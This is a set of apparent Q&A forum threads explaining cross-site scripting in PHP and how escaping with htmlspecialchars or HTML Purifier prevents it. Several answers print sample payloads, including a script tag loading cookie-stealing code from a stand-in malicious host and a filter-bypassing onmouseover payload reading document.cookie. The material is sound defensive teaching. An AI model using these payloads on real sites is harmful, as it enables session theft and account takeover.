XSS
can you help me with thid cross site scripting i am new in this
Cross-site scripting is a code injection attack.
The problem is that the user (or someone else) enters a script instead of some input value. For example, a user puts a "<script>" tag in her comment.
If you then display a list of comments, that script will be executed for anyone visiting that page.
What you need to do is sanitize the outputs, that is, remove or escape all html code that you're writing on a page. That way, the <script> tag will be replaced with <script>, and it will become harmless while looking exactly the same.
Related
I'm reading about XSS to educate myself on security while working with PHP. I'm referring to this article, in which they talk about XSS and some of the rules that should be adhered to.
Could someone explain Rules #0 and #1 for me? I understand some of what they are saving, but when they say untrusted data do they mean data entered by the user?
I'm working on some forms and I'm trying to adhere to these rules to prevent XSS. The thing is, I never output anything to the user once the form is complete. All I do is process data and save it to text files. I've done some client-side and a lot of server-side validation, but I can't figure out what they mean by never insert untrusted data except in allowed locations.
By escaping do they mean closing tags - </>?
Rule #0 means that you should not output data in locations of your webpage, where it's expected to run instructions.
As shown on your url, do not put user generated data inside <script>tags. For example, this is a no-no:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>
Looks pretty safe, right? Well, what if your $username variable contains the following values:
""; console.log(document.cookie);//
So, on a website what you're going to display is going to be this:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>
So someone can easily steal your user's cookies and elevate their privileges. Now imagine that you're using similar code to say, update which user created the latest post, and shows up via AJAX. That's a disaster waiting to happen if you do something like above (and do not sanitize the username in the first place).
Same applies for <style>,<img>, <embed>, <iframe> or any other tag that lets you run scripts or import resources. Also applies to comments. Browsers ignore comments, but some interpreters like the JSP parser handles HTML comments as template text. It doesn't ignore its contents.
Rule #1 is pretty similar tu rule #0, if you're developing web applications at some point or another you will have to output user generated data, whether it is an email address, a username, a name, or whatever.
If you're developing a forum, probably you may want to give your users some styling options for their text. Basic stuff like bold letters, underlined and italics should suffice. If you want to get fancy, you may even let your users change the font.
An easy way to do it, without too many complications, is just letting users write their own HTML if they choose to do so, so if you output HTML from your users in "safe" locations like between <p> tags, then that's a disaster waiting to happen as well.
Because I can write:
Hey everybody, this is my first post <script src="//malicioussite.io/hackingYoCookiez.js"></script>!
If you don't escape that input, people will only see:
Hey everybody, this is my first post`!
but your browser will also see an external javascript that tells it to send everybody's cookies to a remote location.
So always escape the data. If you're using PHP you can use htmlentities or use a template engine like Twig, that automatically escapes the output for you.
I'd need to load an user given URL and display a div with my content after the content of the user given website.
Implementing this would be trivial:
$c = file_get_contents($url);
echo $c . $myDivCode;
However, wouldn't this open my server to all kinds of security issues, such as XSS?
If so, what would be the best way to handle this taking into account I would like to be able to display the content of the user given URL as well as possible (i.e. run all the safe scripts).
The best way probably would be to display site in an iframe like that:
echo "<iframe src=\"$url\"></iframe>";
This way user loads the page directly from the url, without your server proxying it.
However, since you're displaying information from another site, your site will always be vulnerable to XSS unless you remove scripts and HTML completely.
Of course you are opened to xss exploits.
To prevent from XSS attacks, you just have to check and validate / escape properly all data, dont allow html or javascript code to be inserted from that url.
Use htmlspecialchars() to convert HTML characters into HTML entities. So characters like <> that mark the beginning/end of a tag are turned into html entities and you can use strip_tags() to only allow some tags as the function does not strip out harmful attributes like the onclick or onload.
I have a script that registers users based on their user input. This uses prepared statements plus whitelists to prevent sql injection. But I am struggling to understand the prevention of XSS.
From what I understand, you only need to prevent XSS if you are outputting HTML onto the page? What does this mean???
Im guessing that with this register page it doesn't apply because I am not outputting HTML to the web page? Is that right?
If I was to prevent XSS, do I use htmlspecialchars?
Generally correct, if you are having any returned values show up on the page, or if you are inserting information into the database for later retrieval and display (like user profile information) you will want to use htmlspecialchars.
For me, when I do my user registration, if they fail to enter a correct value in an input field, I redisplay the page with the values they entered. In this case, I have it encoded with htmlspecialchars.
If at any point ever, you plan on redisplaying the information from the DB into a webpage (as mentioned with profiles and the like) you should use htmlspecialchars.
Better safe than sorry I always say - never trust user input
Basically, XSS happens when you are taking the user's input un-sanitized and display in your webpage.
For example: A user inputs
<script>alert('hello you are hacked');</script>
In a text box, and you show this in your webpage after it is registered like
Hello, $username
This suddenly gets turned into
Hello, <script>alert('hello you are hacked');</script>
This is one of the form of XSS
One of a effiecient way to prevent XSS is like this
echo htmlspecialchars($varname, ENT_QUOTES, 'UTF-8');
From what I understand, you only need to prevent XSS if you are
outputting HTML onto the page? What does this mean???
XSS is an attack carried out by the server outputting HTML (in practice, Javascript) to the client when it did not mean to do so (and obviously when that HTML was specially crafted and supplied by a hostile user).
Im guessing that with this register page it doesn't apply because I am
not outputting HTML to the web page? Is that right?
If you are not outputting anything that comes from user input you are safe.
If I was to prevent XSS, do I use htmlspecialchars?
Yes, that is sufficient.
I have had issues with XSS. Specifically I had an individual inject JS alert showing that the my input had vulnerabilities. I have done research on XSS and found examples but for some reason I can't get them to work.
Can I get example(s) of XSS that I can throw into my input and when I output it back to the user see some sort of change like an alert to know it's vulnerable?
I'm using PHP and I am going to implement htmlspecialchars() but I first am trying to reproduce these vulnerabilities.
Thanks!
You can use this firefox addon:
XSS Me
XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site
Scripting (XSS). It does NOT currently test for stored XSS.
The
tool works by submitting your HTML forms and substituting the form
value with strings that are representative of an XSS attack. If the
resulting HTML page sets a specific JavaScript value
(document.vulnerable=true) then the tool marks the page as vulnerable
to the given XSS string. The tool does not attempting to compromise
the security of the given system. It looks for possible entry points
for an attack against the system. There is no port scanning, packet
sniffing, password hacking or firewall attacks done by the
tool.
You can think of the work done by the tool as the same as the
QA testers for the site manually entering all of these strings into
the form fields.
For example:
<script>alert("XSS")</script>
"><b>Bold</b>
'><u>Underlined</u>
It is very good to use some of the automated tools, however you won't gain any insight or experience from those.
The point of XSS attack is to execute javascript in a browser window, which is not supplied by the site. So first you must have a look in what context the user supplied data is printed on the website; it might be within <script></script> code block, it might be within <style></style> block, it might be used as an attribute of an element <input type="text" value="USER DATA" /> or for instance in a <textarea>. Depending on that you will see what syntax you will use to escape the context (or use it); for instance if you are within <script> tags, it might be sufficient to close parethesis of a function and end the line with semicolon, so the final injection will look like ); alert(555);. If the data supplied is used as an html attribute, the injection might look like " onclick="alert(1)" which will cause js execution if you click on the element (this area is rich to play with especially with html5).
The point is, the context of the xss is as much important as any filtering/sanatizing functions that might be in place, and often there might be small nuances which the automated tool will not catch. As you can see above even without quotes and html tags, in a limited number of circumstance you might be able to bypass the filters and execute js.
There also needs to be considered the browser encoding, for instance you might be able to bypass filters if the target browser has utf7 encoding (and you encode your injection that way). Filter evasion is a whole another story, however the current PHP functions are pretty bulletproof, if used correctly.
Also here is a long enough list of XSS vectors
As a last thing, here is an actual example of a XSS string that was found on a site, and I guarantee you that not a single scanner would've found that (there were various filters and word blacklists, the page allowed to insert basic html formatting to customize your profile page):
<a href="Boom"><font color=a"onmouseover=alert(document.cookie);"> XSS-Try ME</span></font>
Ad-hoc testing is OK, however I also recommend trying a web application vulnerability scanning tool to ensure you haven't missed anything.
acunetix is pretty good and has a free trial of their application:
http://www.acunetix.com/websitesecurity/xss.htm
(Note I have no affiliation with this company, however I have used the product to test my own applications).
I have a PHP page with textareas that users can change, and their values get saved and displayed on another PHP page - I'm afraid this could be vulnerable to XSS attacks (or whatever malicious hackers are using today)... I see http://htmlpurifier.org is a nice solution to avoid XSS attacks, and I read in an SO thread that PHP code entered into a textarea is ignored by browsers and not executed server-side. I just want to know if htmlpurifier will protect my site fully and if there's any chance that old browsers like IE6 aren't smart enough to ignore PHP code like that. It's my first time making a complex site so I'm tip-toeing around the topic of security... Thanks :)
On a side note, I've used stripslashes and nl2br to avoid formatting issues with apostrophes and line breaks, but is there anything else I should be using to avoid unexpected display issues?
Just use htmlspecialchars() on output and the special characters no longer have their literal meaning and won't be processed by the browser.
PHP code itself will be ignored by the browser. The browser will think it is just some large weird <?php ... '?> element.
To answer your questions specifically...
No, you don't have to worry about the browser executing PHP code that a user has inputted. That's typically only something you have to worry about when you do "includes" inside php scripts, and even then, as long as you structure them properly, you have nothing to worry about. This is because PHP is interpreted server-side (on your webserver) rather than client-side (in the browser). Also, this type of attack would be more in-line with RFI or Code Injection (if you'd like some terms to google), rather than XSS.
Stripslashes can be useful for certain things (potentially with regards to SQL attacks, etc.) but isn't the main defense for XSS attacks.
With HTMLPurifier running by itself, you will be fine against XSS attacks (providing you configure it correctly, etc.)
That said, it's always best to filter user input against a whitelist rather than trying to blacklist 'bad' characters/input. What type of data do you want users to be able to input? Just regular text? BBCode + text? Html?
PHP code is server code. Browsers don't include a PHP interpreter so they won't execute it.